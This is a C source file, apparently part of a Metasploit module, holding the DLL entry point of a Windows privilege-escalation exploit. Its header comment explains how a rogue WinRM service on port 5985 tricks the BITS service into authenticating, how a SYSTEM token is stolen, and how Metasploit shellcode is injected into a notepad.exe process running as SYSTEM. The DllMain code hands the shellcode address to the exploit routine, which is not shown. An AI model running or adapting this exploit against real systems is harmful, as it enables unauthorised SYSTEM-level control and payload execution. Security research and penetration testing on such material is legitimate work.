/*
This is an escalation privilege exploit which launch an arbitrary process as SYSTEM user.
It takes advantage of the BITS behavior which always try to connect on port 5985 (Windows
Remote Management) even if there is no WinRM service listening on that port. This exploit
launch a rogue WinRM service which force BITS service to authenticate by sending it a 401
challenge response packet. The authentication allows to steal a SYSTEM token as a primary
token, and use it to launch an arbitrary process as SYSTEM.

In practice, this exploit launch notepad.exe as SYSTEM. Then, it copies the shellcode
received from metasploit into the remote SYSTEM process and make it trigger its execution.

Details of the vulnerability here :
https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/

This exploit was developed from decoder's POC here:
https://github.com/antonioCoco/RogueWinRM

PREREQUISITES/
- Port 5985 must be free
- BITS must not be running

WARNING:
- As this exploit launches a services, a firewall popup may appear.
*/

#include "ReflectiveLoader.c"
#include "../Common_Src_Files/pch.h"

// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own 
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.

//===============================================================================================//
extern HINSTANCE hAppInstance;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
	int exit_status = -1;
	BOOL bReturnValue = TRUE;
	char* shellcode_address = (LPSTR)lpReserved;

	switch (dwReason)
	{
	case DLL_QUERY_HMODULE:
		hAppInstance = hinstDLL;
		if (lpReserved != NULL)
			*(HMODULE*)lpReserved = hAppInstance;
		break;
	case DLL_PROCESS_ATTACH:
		dprintf("[dllmain] Entry point.");
		hAppInstance = hinstDLL;

		exit_status = RunRogueWinRM(shellcode_address);
		dprintf("[dllmain] Exit status: %d", exit_status);
		ExitProcess(exit_status);
		break;
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}
	return bReturnValue;
}
